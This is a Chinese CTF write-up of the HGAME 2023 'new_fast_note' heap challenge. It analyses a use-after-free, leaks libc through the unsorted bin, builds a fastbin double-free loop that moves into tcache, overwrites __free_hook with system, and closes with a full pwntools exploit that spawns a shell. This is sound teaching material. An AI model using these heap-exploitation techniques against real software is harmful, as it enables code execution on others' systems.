UAF,从 unsorted bin 泄漏 main_arena 地址到 fastbins 和 tcache 的纠缠不清……
题面
1
2
3
4
5
6
7
8
|
Archive: new_fast_note.zip
Length Date Time Name
--------- ---------- ----- ----
191504 2023-01-02 00:20 ld-2.31.so
2029592 2023-01-02 00:20 libc-2.31.so
17448 2023-01-11 23:41 vuln
--------- -------
2238544 3 files
|
给了 ld 和 libc 和二进制文件。
分析
checksec 查看保护:
1
2
3
4
5
6
7
8
9
10
|
❯ pwn checksec ./vuln
[*] '/data/project/ctf-repo/pwn/nssctf/HGAME_2023_week2-new_fast_note/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
|
经典全开堆菜单题属于是。
1
2
3
4
5
6
|
❯ ./vuln
1. Add note
2. Delete note
3. Show note
4. Exit
>
|
ida 静态分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
init(a1: argc, a2: argv, a3: envp);
while ( 1 )
{
menu();
__isoc99_scanf(a1: "%d", &v3);
if ( v3 == 4 )
exit(status: 0);
if ( v3 > 4 )
{
LABEL_12:
puts(s: "Wrong choice!");
}
else
{
switch ( v3 )
{
case 3:
show_note();
break;
case 1:
add_note();
break;
case 2:
delete_note();
break;
default:
goto LABEL_12;
}
}
}
}
|
switch case 出 3 个子菜单,处理 note。
add_node()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
unsigned __int64 add_note()
{
unsigned int v0; // ebx
unsigned int v2; // [rsp+0h] [rbp-20h] BYREF
unsigned int v3; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-18h]
v4 = __readfsqword(0x28u);
printf(format: "Index: ");
__isoc99_scanf(a1: "%u", &v2);
if ( v2 <= 0x13 )
{
printf(format: "Size: ");
__isoc99_scanf(a1: "%u", &v3);
if ( v3 <= 0xFF )
{
v0 = v2;
*((_QWORD *)¬es + v0) = malloc(size: v3);
printf(format: "Content: ");
read(fd: 0, buf: *((void **)¬es + v2), nbytes: v3);
}
else
{
puts(s: "Too big.");
}
}
else
{
puts(s: "There are only 20 pages in this notebook.");
}
return __readfsqword(0x28u) ^ v4;
}
|
读取索引、数字和内容进行创建。可以看到只能创建 20 个(0x13) note。且每个 note 大小不能超过 0xff 也就是最大分配 0x110 大小的 chunk。
notes 是在 .bss 下的指针数组,存储分配出来笔记。
delete_note()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
unsigned __int64 delete_note()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf(format: "Index: ");
__isoc99_scanf(a1: "%u", &v1);
if ( v1 <= 0xF )
{
if ( *((_QWORD *)¬es + v1) != 0 )
free(ptr: *((void **)¬es + v1));
else
puts(s: "Page not found.");
}
else
{
puts(s: "There are only 16 pages in this notebook.");
}
return __readfsqword(0x28u) ^ v2;
}
|
经典 use after free。仅作 free,而没有处理 notes 数组。而且只能 free 前 16 个,什么逻辑……
show_note()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
unsigned __int64 show_note()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf(format: "Index: ");
__isoc99_scanf(a1: "%u", &v1);
if ( v1 <= 0xF )
{
if ( *((_QWORD *)¬es + v1) != 0 )
puts(s: *((const char **)¬es + v1));
else
puts(s: "Page not found.");
}
else
{
puts(s: "There are only 16 pages in this notebook.");
}
return __readfsqword(0x28u) ^ v2;
}
|
用 puts 直接读 notes 偏移量。
综合之下,有 UAF 就能做很多事情。题目叫 new fast note,可能用到 fastbin?而题目给了 libc 版本是 glibc 2.31,带 tcache,各种对应版本的漏洞也要去研究。
分析
patchelf 把 ld 和 libc 打好,可惜给的 libc 没有 debug info,后面拿 libc 基址用的 gdb 直接取基址偏移量,发现更不错的方法!
因为最大能拿到 0x110 的 chunk 所以可以把 chunk free 到 unsortedbin 里,这里首先就是弄一个到 unsortedbin,利用 UAF 读到 libc 地址进而拿到 libc 基址。
1
2
3
4
5
6
7
8
9
10
11
12
|
for i in range(10):
add(i, 0xFF, "".join(chr(i) * 8).encode())
free(9)
for i in range(7):
free(i)
show(6)
libc_base = u64(io.recvuntil(b"\x7f").ljust(8, b"\x00")) - 0x1ECBE0
print("libc base address =", hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
|
这里 libc 偏移量 0x1ecbe0 是在拿到地址后,用 pwndbg 的 libc 命令拿到运行时基址然后算直接算得偏移。
此时 bins 的结构:

接下来就比较关键,可以用 fastbin 搞 double free 做出回环,然后将环搬到 tcache 改写 td 打到写 free_hook 变成 system("/bin/sh")
一步步来,先 add 一堆 0x20 note 然后 free 掉 8 个,0x20 是 fastbin 范围,在 tcache 满后就会进入 fastbin。
1
2
3
4
5
|
for i in range(0, 9):
add(i, 0x20, "".join(chr(i) * 8).encode())
for i in range(0, 8):
free(i)
|
这个时候呢,note0 ~ note8 被 malloc,然后 free 掉 0~6 进入 tcache,而 free(7) 进入 fastbins,此时还剩下 note8 作为 0x30 大小的 chunk 还留着也就是:

fastbin 对 double free 仅在表头做限制,就是不能连续 free 表头,而 tcache 有 key 检查,还是 fastbin 做 double free 简单:
1
2
3
4
5
6
7
8
9
10
11
|
mchunkptr old = *fb, old2;
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = old;
*fb = p;
}
|
我们假设 note7 为 H ,note 8 为 I。此时为 ->H->NULL 如果我们再做一次 free(8);free(7); 那么链条就会变成: ->H->I->H->…… 构造出来 fastbin 环。不过 fastbin 有 size 校验,会将取出来的地址作为 chunk 校验 size 字段是否在对应 fastbin 桶的保护,很难做写任意地址:
1
2
3
|
if (have_lock && old != NULL
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
malloc_printerr ("invalid fastbin entry (free)");
|
所以在之后把环搬进 tcache 里,libc 当 malloc 去 fastbins 取环的时候,如果 tcache 对应的 bins 还有空位 glibc 就会顺手把 fastbins 链剩下的 chunk 搬入 tcache 直到塞满。也就是 fastbin 到 tcache 转移。通过这样就能把环搬到 tcache。
做 fastbins 环:
1
2
|
free(8)
free(7) # 构造 0x30 fastbin 环
|

接下来把 7 个 0x30 tcache 清空,写入 /bin/sh:
1
2
|
for i in range(7):
add(i, 0x20, b"/bin/sh\x00") # 这里填 /bin/sh 方便之后取
|

可见 0x30 tcache 没了。接下来呢 note[0..6] 都存储了 /bin/sh 的 chunk。
接下来 add 0x20 并且改写为 __free_hook。需要知道这是两个过程,先 malloc 完之后才去改写,也就是上面的 add_note() 函数。因为是一个环,在 malloc 的时候发现 tcache 有空的,就将之后搬到 tcache 也就应该是:
但是因为后面这是一个 fastbin 环,所以实际上应该是:
1
|
tcachebins [0x30]: 0xdc0->0xd90 <- 0xdc0
|
然后我们后面 free 改写 0xd90 (也就是我们新 malloc 出去的 chunk) 为 free_hook,应该变成:
1
|
tcachebins [0x30]: 0xdc0->0xd90->_free_hook
|
实际大差不差,只是地址偏移了 0x10:

这就很奇怪了……
执行的 exp 是这一行:
1
|
add(7, 0x20, p64(free_hook))
|
我们知道一个 chunk 的头部为 prev_size 和 size x86_64 一共 0x10 字节之后才的用户数据区或者 fd, bk。所以要直接作 chunk 偏移 0x10 之后才是用户数据区,有如下宏做这样的变换,从 chunk 头地址做 0x10 的偏移。
1
|
#define chunk2mem(p) ((void*)((char*)(p) + 2*SIZE_SZ))
|
放入 tcache 用 tcache_put 函数实现。tcache_entry *e 函数用 chunk2mem 取。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk); // e = chunk + 0x10
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache; // 添加 key
e->next = tcache->entries[tc_idx]; // next = 当前表头
tcache->entries[tc_idx] = e; // 表头 = e
++(tcache->counts[tc_idx]);
}
|
对应从 tcache 取出用的 tcahce_get():
1
2
3
4
5
6
7
8
9
|
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e->next; // 表头=e->next
--(tcache->counts[tc_idx]);
e->key = NULL; // 清理 key
return (void *) e; // 返回 e,用户数据区
}
|
而 fastbins 直接就用 chunk 头地址来:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = old; // chunk 头指针 p 的 fd = 旧表头
*fb = p; // fastbin 表头 = p,也就是直接 chunk 头地址。
}
|
自然有 tcache = fastbin + 0x10 的计算关系。
取出后用 read 改写 note(7) 为 free_hook 就是上图的效果。
然后清理前两个 chunk:
1
2
|
add(8, 0x20, b"aaa")
add(9, 0x20, b"aaa")
|

接下来再分配 0x20 取 0x30 chunk 就是拿 __free_hook 地址,edit 该地址就直接改写 free_hook 的数据。将 free_hook 改写为 system addr 这样调用 free 也就是调用 system,传入一个字符串指针就可以执行命令,正好前面 note[0..6] 都是 “/bin/sh” 字符串只要任意 free 一个即可。
1
2
|
add(10, 0x20, p64(system_addr))
free(0)
|

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
|
from pwn import *
context(log_level="debug")
io = process("./vuln")
#io = remote("node5.anna.nssctf.cn", 25395)
libc = ELF("./libc-2.31.so")
elf = ELF("./vuln")
def show(idx: int):
print("show:", idx)
io.recvuntil(b"\n>")
io.sendline(b"3")
io.recvuntil(b"Index: ")
io.sendline(str(idx).encode())
def add(idx: int, size: int, content: bytes):
print("add:", idx)
io.recvuntil(b"\n>")
io.sendline(b"1")
io.recvuntil(b"Index: ")
io.sendline(str(idx).encode())
io.recvuntil(b"Size: ")
io.sendline(str(size).encode())
io.recvuntil(b"Content: ")
io.sendline(content)
def free(idx: int):
print("free:", idx)
io.recvuntil(b"\n>")
io.sendline(b"2")
io.recvuntil(b"Index: ")
io.sendline(str(idx).encode())
for i in range(10):
add(i, 0xFF, "".join(chr(i) * 8).encode())
free(9)
for i in range(7):
free(i)
show(6)
libc_base = u64(io.recvuntil(b"\x7f").ljust(8, b"\x00")) - 0x1ECBE0
print("libc base address =", hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
for i in range(0, 9):
add(i, 0x20, "".join(chr(i) * 8).encode())
for i in range(0, 8):
free(i)
# 这个时候 note[7] 进入 fastbin
free(8)
free(7) # 构造 0x30 fastbin 环
for i in range(7):
add(i, 0x20, b"/bin/sh\x00") # 这里填 /bin/sh 方便之后取
add(7, 0x20, p64(free_hook))
add(8, 0x20, b"aaa")
add(9, 0x20, b"aaa")
add(10, 0x20, p64(system_addr))
free(0)
#gdb.attach(io)
io.interactive()
|